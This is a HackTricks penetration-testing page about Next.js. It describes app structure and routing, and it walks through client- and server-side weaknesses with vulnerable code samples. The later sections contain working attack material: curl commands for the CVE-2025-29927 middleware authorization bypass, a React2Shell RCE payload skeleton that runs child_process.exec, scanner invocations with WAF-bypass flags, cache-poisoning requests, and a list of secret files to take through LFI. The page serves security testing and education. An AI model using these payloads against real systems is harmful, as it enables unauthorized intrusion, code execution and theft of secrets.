NextJS
{{#include ../../banners/hacktricks-training.md}}
General Architecture of a Next.js Application
Typical File Structure
A standard Next.js project follows a specific file and directory structure that facilitates its features like routing, API endpoints, and static asset management. Here's a typical layout:
my-nextjs-app/
βββ node_modules/
βββ public/
β βββ images/
β β βββ logo.png
β βββ favicon.ico
βββ app/
β βββ api/
β β βββ hello/
β β βββ route.ts
β βββ layout.tsx
β βββ page.tsx
β βββ about/
β β βββ page.tsx
β βββ dashboard/
β β βββ layout.tsx
β β βββ page.tsx
β βββ components/
β β βββ Header.tsx
β β βββ Footer.tsx
β βββ styles/
β β βββ globals.css
β β βββ Home.module.css
β βββ utils/
β βββ api.ts
βββ .env.local
βββ next.config.js
βββ tsconfig.json
βββ package.json
βββ README.md
βββ yarn.lock / package-lock.json
Core Directories and Files
- public/: Hosts static assets such as images, fonts, and other files. Files here are accessible at the root path (
/). - app/: Central directory for your applicationβs pages, layouts, components, and API routes. Embraces the App Router paradigm, enabling advanced routing features and server-client component segregation.
- app/layout.tsx: Defines the root layout for your application, wrapping around all pages and providing consistent UI elements like headers, footers, and navigation bars.
- app/page.tsx: Serves as the entry point for the root route
/, rendering the home page. - app/[route]/page.tsx: Handles static and dynamic routes. Each folder within
app/represents a route segment, andpage.tsxwithin those folders corresponds to the route's component. - app/api/: Contains API routes, allowing you to create serverless functions that handle HTTP requests. These routes replace the traditional
pages/apidirectory. - app/components/: Houses reusable React components that can be utilized across different pages and layouts.
- app/styles/: Contains global CSS files and CSS Modules for component-scoped styling.
- app/utils/: Includes utility functions, helper modules, and other non-UI logic that can be shared across the application.
- .env.local: Stores environment variables specific to the local development environment. These variables are not committed to version control.
- next.config.js: Customizes Next.js behavior, including webpack configurations, environment variables, and security settings.
- tsconfig.json: Configures TypeScript settings for the project, enabling type checking and other TypeScript features.
- package.json: Manages project dependencies, scripts, and metadata.
- README.md: Provides documentation and information about the project, including setup instructions, usage guidelines, and other relevant details.
- yarn.lock / package-lock.json: Locks the projectβs dependencies to specific versions, ensuring consistent installations across different environments.
Client-Side in Next.js
File-Based Routing in the app Directory
The app directory is the cornerstone of routing in the latest Next.js versions. It leverages the filesystem to define routes, making route management intuitive and scalable.
Handling the Root Path /
**File Structure:**my-nextjs-app/
βββ app/
β βββ layout.tsx
β βββ page.tsx
βββ public/
βββ next.config.js
βββ ...
tsxCopy code// app/page.tsx
export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}
Handling Other Static Paths
**Example: `/about` Route** **File Structure:**arduinoCopy codemy-nextjs-app/
βββ app/
β βββ about/
β β βββ page.tsx
β βββ layout.tsx
β βββ page.tsx
βββ public/
βββ next.config.js
βββ ...
// app/about/page.tsx
export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}
Dynamic Routes
Dynamic routes allow handling paths with variable segments, enabling applications to display content based on parameters like IDs, slugs, etc. **Example: `/posts/[id]` Route** **File Structure:**arduinoCopy codemy-nextjs-app/
βββ app/
β βββ posts/
β β βββ [id]/
β β βββ page.tsx
β βββ layout.tsx
β βββ page.tsx
βββ public/
βββ next.config.js
βββ ...
tsxCopy code// app/posts/[id]/page.tsx
import { useRouter } from 'next/navigation';
interface PostProps {
params: { id: string };
}
export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'
return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}
Nested Routes
Next.js supports nested routing, allowing for hierarchical route structures that mirror the directory layout. **Example: `/dashboard/settings/profile` Route** **File Structure:**arduinoCopy codemy-nextjs-app/
βββ app/
β βββ dashboard/
β β βββ settings/
β β β βββ profile/
β β β βββ page.tsx
β β βββ page.tsx
β βββ layout.tsx
β βββ page.tsx
βββ public/
βββ next.config.js
βββ ...
tsxCopy code// app/dashboard/settings/profile/page.tsx
export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}
Catch-All Routes
Catch-all routes handle multiple nested segments or unknown paths, providing flexibility in route handling. **Example: `/*` Route** **File Structure:**my-nextjs-app/
βββ app/
β βββ [...slug]/
β β βββ page.tsx
β βββ layout.tsx
β βββ page.tsx
βββ public/
βββ next.config.js
βββ ...
// app/[...slug]/page.tsx
interface CatchAllProps {
params: { slug: string[] }
}
export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`
return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}
Potential Client-Side Vulnerabilities
While Next.js provides a secure foundation, improper coding practices can introduce vulnerabilities. Key client-side vulnerabilities include:
Cross-Site Scripting (XSS)
XSS attacks occur when malicious scripts are injected into trusted websites. Attackers can execute scripts in users' browsers, stealing data or performing actions on behalf of the user. **Example of Vulnerable Code:**// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}
Client-Side Template Injection
Occurs when user inputs are improperly handled in templates, allowing attackers to inject and execute templates or expressions. **Example of Vulnerable Code:**import React from "react"
import ejs from "ejs"
function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}
Client Path Traversal
It's a vulnerability that allows attackers to manipulate client-side paths to perform unintended actions, such as Cross-Site Request Forgery (CSRF). Unlike server-side path traversal, which targets the server's filesystem, CSPT focuses on exploiting client-side mechanisms to reroute legitimate API requests to malicious endpoints. **Example of Vulnerable Code:** A Next.js application allows users to upload and download files. The download feature is implemented on the client side, where users can specify the file path to download.// pages/download.js
import { useState } from "react"
export default function DownloadPage() {
const [filePath, setFilePath] = useState("")
const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}
return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}
Recon: static export route discovery via _buildManifest
When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and routeβchunk mapping there enumerate every prerendered page without brute force.
- Grab the buildId from the root response (often printed at the bottom) or from
<script>tags loading/_next/static/<buildId>/.... - Fetch the manifest and extract routes:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
- Use the discovered paths (for example
/docs,/docs/content/examples,/signin) to drive auth testing and endpoint discovery.
Server-Side in Next.js
Server-Side Rendering (SSR)
Pages are rendered on the server on each request, ensuring that the user receives fully rendered HTML. In this case you should create your own custom server to process the requests.
Use Cases:
- Dynamic content that changes frequently.
- SEO optimization, as search engines can crawl the fully rendered page.
Implementation:
// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Static Site Generation (SSG)
Pages are pre-rendered at build time, resulting in faster load times and reduced server load.
Use Cases:
- Content that doesn't change frequently.
- Blogs, documentation, marketing pages.
Implementation:
// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Serverless Functions (API Routes)
Next.js allows the creation of API endpoints as serverless functions. These functions run on-demand without the need for a dedicated server.
Use Cases:
- Handling form submissions.
- Interacting with databases.
- Processing data or integrating with third-party APIs.
Implementation:
With the introduction of the app directory in Next.js 13, routing and API handling have become more flexible and powerful. This modern approach aligns closely with the file-based routing system but introduces enhanced capabilities, including support for server and client components.
Basic Route Handler
File Structure:
my-nextjs-app/
βββ app/
β βββ api/
β βββ hello/
β βββ route.js
βββ package.json
βββ ...
Implementation:
// app/api/hello/route.js
export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))
Explanation:
- Location: API routes are placed under the
app/api/directory. - File Naming: Each API endpoint resides in its own folder containing a
route.jsorroute.tsfile. - Exported Functions: Instead of a single default export, specific HTTP method functions (e.g.,
GET,POST) are exported. - Response Handling: Use the
Responseconstructor to return responses, allowing more control over headers and status codes.
How to handle other paths and methods:
Handling Specific HTTP Methods
Next.js 13+ allows you to define handlers for specific HTTP methods within the same `route.js` or `route.ts` file, promoting clearer and more organized code. **Example:**// app/api/users/[id]/route.js
export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Catch-All and Nested Routes
Next.js 13+ supports advanced routing features like catch-all routes and nested API routes, allowing for more dynamic and scalable API structures. **Catch-All Route Example:**// app/api/[...slug]/route.js
export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
// app/api/posts/[postId]/comments/[commentId]/route.js
export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}
Handling API routes in Next.js 12 and Earlier
## API Routes in the `pages` Directory (Next.js 12 and Earlier) Before Next.js 13 introduced the `app` directory and enhanced routing capabilities, API routes were primarily defined within the `pages` directory. This approach is still widely used and supported in Next.js 12 and earlier versions. #### Basic API Route **File Structure:**goCopy codemy-nextjs-app/
βββ pages/
β βββ api/
β βββ hello.js
βββ package.json
βββ ...
javascriptCopy code// pages/api/hello.js
export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}
bashCopy codemy-nextjs-app/
βββ pages/
β βββ api/
β βββ users/
β βββ [id].js
βββ package.json
βββ ...
javascriptCopy code// pages/api/users/[id].js
export default function handler(req, res) {
const {
query: { id },
method,
} = req;
switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
javascriptCopy code// pages/api/posts.js
export default async function handler(req, res) {
const { method } = req;
switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
CORS Configuration
Control which origins can access your API routes, mitigating Cross-Origin Resource Sharing (CORS) vulnerabilities.
Bad Configuration Example:
// app/api/data/route.js
export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}
Note that CORS can also be configured in all the API routes inside the middleware.ts file:
// app/middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")
const response = NextResponse.next()
if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}
// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}
return response
}
export const config = {
matcher: "/api/:path*", // Apply to all API routes
}
Problem:
Access-Control-Allow-Origin: '*': Permits any website to access the API, potentially allowing malicious sites to interact with your API without restrictions.- Wide Method Allowance: Allowing all methods can enable attackers to perform unwanted actions.
How attackers exploit it:
Attackers can craft malicious websites that make requests to your API, potentially abusing functionalities like data retrieval, data manipulation, or triggering unwanted actions on behalf of authenticated users.
{{#ref}}
../../pentesting-web/cors-bypass.md
{{#endref}}
Server code exposure in Client Side
It's can easy to use code used by the server also in code exposed and used by the client side, the best way to ensure that a file of code is never exposed in the client side is by using this import at the beginning of the file:
import "server-only"
Key Files and Their Roles
middleware.ts / middleware.js
Location: Root of the project or within src/.
Purpose: Executes code in the server-side serverless function before a request is processed, allowing for tasks like authentication, redirects, or modifying responses.
Execution Flow:
- Incoming Request: The middleware intercepts the request.
- Processing: Performs operations based on the request (e.g., check authentication).
- Response Modification: Can alter the response or pass control to the next handler.
Example Use Cases:
- Redirecting unauthenticated users.
- Adding custom headers.
- Logging requests.
Sample Configuration:
// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}
export const config = {
matcher: ["/protected/:path*"],
}
Middleware authorization bypass (CVE-2025-29927)
If authorization is enforced in middleware, affected Next.js releases (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) can be bypassed by injecting the x-middleware-subrequest header. The framework will skip middleware recursion and return the protected page.
- Baseline behavior is typically a 307 redirect to a login route like
/api/auth/signin. - Send a long
x-middleware-subrequestvalue (repeatmiddlewareto hitMAX_RECURSION_DEPTH) to flip the response to 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
- Because authenticated pages pull many subresources, add the header to every request (e.g., Burp Match/Replace with an empty match string) to keep assets from redirecting.
next.config.js
Location: Root of the project.
Purpose: Configures Next.js behavior, enabling or disabling features, customizing webpack configurations, setting environment variables, and configuring several security features.
Key Security Configurations:
Security Headers
Security headers enhance the security of your application by instructing browsers on how to handle content. They help mitigate various attacks like Cross-Site Scripting (XSS), Clickjacking, and MIME type sniffing: - Content Security Policy (CSP) - X-Frame-Options - X-Content-Type-Options - Strict-Transport-Security (HSTS) - Referrer Policy **Examples:**// next.config.js
module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Image Optimization Settings
Next.js optimizes images for performance, but misconfigurations can lead to security vulnerabilities, such as allowing untrusted sources to inject malicious content. **Bad Configuration Example:**// next.config.js
module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}
Environment Variables Exposure
Manage sensitive information like API keys and database credentials securely without exposing them to the client. #### a. Exposing Sensitive Variables **Bad Configuration Example:**// next.config.js
module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
},
}
Redirects
Manage URL redirections and rewrites within your application, ensuring that users are directed appropriately without introducing open redirect vulnerabilities. #### a. Open Redirect Vulnerability **Bad Configuration Example:**// next.config.js
module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}
https://yourdomain.com/redirect?url=https://malicious-site.com
Webpack Configuration
Customize Webpack configurations for your Next.js application, which can inadvertently introduce security vulnerabilities if not handled cautiously. #### a. Exposing Sensitive Modules **Bad Configuration Example:**// next.config.js
module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}
pages/_app.js and pages/_document.js
pages/_app.js
Purpose: Overrides the default App component, allowing for global state, styles, and layout components.
Use Cases:
- Injecting global CSS.
- Adding layout wrappers.
- Integrating state management libraries.
Example:
// pages/_app.js
import "../styles/globals.css"
function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}
export default MyApp
pages/_document.js
Purpose: Overrides the default Document, enabling customization of the HTML and Body tags.
Use Cases:
- Modifying the
<html>or<body>tags. - Adding meta tags or custom scripts.
- Integrating third-party fonts.
Example:
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"
class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}
export default MyDocument
Custom Server (Optional)
Purpose: While Next.js comes with a built-in server, you can create a custom server for advanced use cases like custom routing or integrating with existing backend services.
Note: Using a custom server can limit deployment options, especially on platforms like Vercel that optimize for Next.js's built-in server.
Example:
// server.js
const express = require("express")
const next = require("next")
const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()
app.prepare().then(() => {
const server = express()
// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})
// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})
server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})
Additional Architectural and Security Considerations
Environment Variables and Configuration
Purpose: Manage sensitive information and configuration settings outside of the codebase.
Best Practices:
- Use
.envFiles: Store variables like API keys in.env.local(excluded from version control). - Access Variables Securely: Use
process.env.VARIABLE_NAMEto access environment variables. - Never Expose Secrets on the Client: Ensure that sensitive variables are only used server-side.
Example:
// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}
Note: To restrict variables to server-side only, omit them from the env object or prefix them with NEXT_PUBLIC_ for client exposure.
Useful server artifacts to target via LFI/download endpoints
If you find a path traversal or download API in a Next.js app, target compiled artifacts that leak server-side secrets and auth logic:
.env/.env.localfor session secrets and provider credentials..next/routes-manifest.jsonand.next/build-manifest.jsonfor a complete route list..next/server/pages/api/auth/[...nextauth].jsto recover the compiled NextAuth configuration (often contains fallback passwords whenprocess.envvalues are unset).next.config.js/next.config.mjsto review rewrites, redirects and middleware routing.
Authentication and Authorization
Approach:
- Session-Based Authentication: Use cookies to manage user sessions.
- Token-Based Authentication: Implement JWTs for stateless authentication.
- Third-Party Providers: Integrate with OAuth providers (e.g., Google, GitHub) using libraries like
next-auth.
Security Practices:
- Secure Cookies: Set
HttpOnly,Secure, andSameSiteattributes. - Password Hashing: Always hash passwords before storing them.
- Input Validation: Prevent injection attacks by validating and sanitizing inputs.
Example:
// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"
export default async function handler(req, res) {
const { username, password } = req.body
// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}
Performance Optimization
Strategies:
- Image Optimization: Use Next.js's
next/imagecomponent for automatic image optimization. - Code Splitting: Leverage dynamic imports to split code and reduce initial load times.
- Caching: Implement caching strategies for API responses and static assets.
- Lazy Loading: Load components or assets only when they are needed.
Example:
// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"
const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})
Next.js Server Actions Enumeration (hash to function name via source maps)
Modern Next.js uses βServer Actionsβ that execute on the server but are invoked from the client. In production these invocations are opaque: all POSTs land on a common endpoint and are distinguished by a build-specific hash sent in the Next-Action header. Example:
POST /
Next-Action: a9f8e2b4c7d1...
When productionBrowserSourceMaps is enabled, minified JS chunks contain calls to createServerReference(...) that leak enough structure (plus associated source maps) to recover a mapping between the action hash and the original function name. This lets you translate hashes observed in Next-Action into concrete targets like deleteUserAccount() or exportFinancialData().
Extraction approach (regex on minified JS + optional source maps)
Search downloaded JS chunks for createServerReference and extract the hash and the function/source symbol. Two useful patterns:
# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)
# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
- Group 1: server action hash (40+ hex chars)
- Group 2: symbol or path that can be resolved to the original function via the source map when present
If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.
Practical workflow
- Passive discovery while browsing: capture requests with
Next-Actionheaders and JS chunk URLs. - Fetch the referenced JS bundles and accompanying
*.mapfiles (when present). - Run the regex above to build a hashβname dictionary.
- Use the dictionary to target testing:
- Name-driven triage (e.g.,
transferFunds,exportFinancialData). - Track coverage across builds by function name (hashes rotate across builds).
Exercising hidden actions (template-based request)
Take a valid POST observed in-proxy as a template and swap the Next-Action value to target another discovered action:
# Before
Next-Action: a9f8e2b4c7d1
# After
Next-Action: b7e3f9a2d8c5
Replay in Repeater and test authorization, input validation and business logic of otherwise unreachable actions.
Burp automation
- NextjsServerActionAnalyzer (Burp extension) automates the above in Burp:
- Mines proxy history for JS chunks, extracts
createServerReference(...)entries, and parses source maps when available. - Maintains a searchable hashβfunction-name dictionary and de-duplicates across builds by function name.
- Can locate a valid template POST and open a ready-to-send Repeater tab with the target actionβs hash swapped in.
- Repo: https://github.com/Adversis/NextjsServerActionAnalyzer
Notes and limitations
- Requires
productionBrowserSourceMapsenabled in production to recover names from bundles/source maps. - Function-name disclosure is not a vulnerability by itself; use it to guide discovery and test each actionβs authorization.
React Server Components Flight protocol deserialization RCE (CVE-2025-55182)
Next.js App Router deployments that expose Server Actions on react-server-dom-webpack 19.0.0β19.2.0 (Next.js 15.x/16.x) contain a critical server-side prototype pollution during Flight chunk deserialization. By crafting $ references inside a Flight payload an attacker can pivot from polluted prototypes to arbitrary JavaScript execution and then to OS command execution inside the Node.js process.
{{#ref}}
../../pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
{{#endref}}
Attack chain in Flight chunks
- Prototype pollution primitive: Set
"then": "$1:__proto__:then"so that the resolver writes athenfunction onObject.prototype. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals. - Rebinding to the global
Functionconstructor: Point_response._formData.getat"$1:constructor:constructor". During resolution,object.constructorβObject, andObject.constructorβFunction, so future calls to_formData.get()actually executeFunction(...). - Code execution via
_prefix: Place JavaScript source in_response._prefix. When the polluted_formData.getis invoked, the framework evaluatesFunction(_prefix)(...), so the injected JS can runrequire('child_process').exec()or any other Node primitive.
Payload skeleton
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}
Mapping React Server Function exposure
React Server Functions (RSF) are any functions that include the 'use server'; directive. Every form action, mutation, or fetch helper bound to one of those functions becomes an RSC Flight endpoint that will happily deserialize attacker-supplied payloads. Useful recon steps derived from React2Shell assessments:
- Static inventory: look for the directive to understand how many RSFs are being automatically exposed by the framework.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
- App Router defaults:
create-next-appenables the App Router +app/directory by default, which silently turns every route into an RSC-capable endpoint. App Router assets such as/_next/static/chunks/app/or responses that stream Flight chunks overtext/x-componentare strong Internet-facing fingerprints. - Implicitly vulnerable RSC deployments: Reactβs own advisory notes that apps shipping the RSC runtime can be exploitable even without explicit RSFs, so treat any build using
react-server-dom-*19.0.0β19.2.0 as suspect. - Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, etc. reuse the same serializer and inherit the identical remote attack surface until they embed patched React builds.
Version coverage (React2Shell)
react-server-dom-webpack,react-server-dom-parcel,react-server-dom-turbopack: vulnerable in 19.0.0, 19.1.0β19.1.1 and 19.2.0; patched in 19.0.1, 19.1.2 and 19.2.1 respectively.- Next.js stable: App Router releases 15.0.0β16.0.6 embed the vulnerable RSC stack. Patch trains 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 include fixed deps, so any build below those versions is high-value.
- Next.js canary:
14.3.0-canary.77+also ships the buggy runtime and currently lacks patched canary drops, making those fingerprints strong exploitation candidates.
Remote detection oracle
Assetnoteβs react2shell-scanner sends a crafted multipart Flight request to candidate paths and watches server-side behavior:
- Default mode executes a deterministic RCE payload (math operation reflected via
X-Action-Redirect) proving code execution. --safe-checkmode purposefully malforms the Flight message so patched servers return200/400, while vulnerable targets emitHTTP/500responses containing theE{"digest"substring inside the body. That(500 + digest)pair is currently the most reliable remote oracle published by defenders.- Built-in
--waf-bypass,--vercel-waf-bypass, and--windowsswitches adjust payload layout, prepend junk, or swap OS commands so you can probe real Internet assets.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json
Other recent App Router issues (late 2025)
- RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) β malformed Flight payloads can spin the RSC resolver into an infinite loop (pre-auth DoS) or force serialization of compiled Server Function code for other actions. App Router builds β₯13.3 are affected until patched; 15.0.xβ16.0.x need the specific patch lines from the upstream advisory. Reuse the normal Server Action path but stream a
text/x-componentbody with abusive$references. Behind a CDN the hung connection is kept open by cache timeouts, making the DoS cheap. -
Triage tip: Unpatched targets return
500withE{"digest"after malformed Flight payloads; patched builds return400/200. Test any endpoint already streaming Flight chunks (look forNext-Actionheaders ortext/x-componentresponses) and replay with a modified payload. -
RSC cache poisoning (CVE-2025-49005, App Router 15.3.0β15.3.2) β missing
Varylet anAccept: text/x-componentresponse get cached and served to browsers expecting HTML. A single priming request can replace the page with raw RSC payloads. PoC flow:
# Prime CDN with an RSC response curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null # Immediately fetch without Accept (victim view) curl -k "https://target/app/dashboard" | head
If the second response returns JSON Flight data instead of HTML, the route is poisonable. Purge cache after testing.
References
- Pentesting Next.js Server Actions β A Burp Extension for Hash-to-Function Mapping
- NextjsServerActionAnalyzer (Burp extension)
- CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
- CVE-2025-55182 & CVE-2025-66478 React2Shell β All You Need to Know
- 0xdf β HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
- assetnote/react2shell-scanner
- Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
- GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning
{{#include ../../banners/hacktricks-training.md}}